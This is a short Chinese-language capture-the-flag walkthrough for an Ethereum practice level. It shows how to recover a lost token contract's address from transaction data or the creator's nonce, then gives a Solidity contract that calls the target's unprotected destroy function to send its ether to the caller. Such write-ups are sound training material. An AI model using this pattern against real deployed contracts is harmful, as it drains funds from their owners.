本關要求找回SimpleToken的地址。
最簡單就是打開etherscan直接看交易資料,直接就可以看到以太幣傳送到了那一個地址。
另一方法是使用關卡合約地址計算出SimpleToken的合約地址,最簡單去理解可以參考這裏︰
new_address = hash(sender, nonce)
Every account has an associated nonce: for regular accounts it is increased on every transaction, while for contract accounts it is increased on every contract creation. Nonces cannot be reused, and they must be sequential.
而詳細的hash算法就需要閱讀以太坊的黃皮書去了解了,這裏就不贅述了。
知道合約地址後簡單呼叫合約的destroy函數即可,打開Remix IDE,新建檔案SimpleToken.sol貼上︰
pragma solidity ^0.8.0;
interface ISimpleToken {
function destroy(address payable _to) external;
}
contract SimpleToken {
address levelInstance;
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
function withdraw() public {
ISimpleToken(levelInstance).destroy(payable(msg.sender));
}
}
在Remix IDE中,呼叫withdraw函數。最後按提交,本關完成。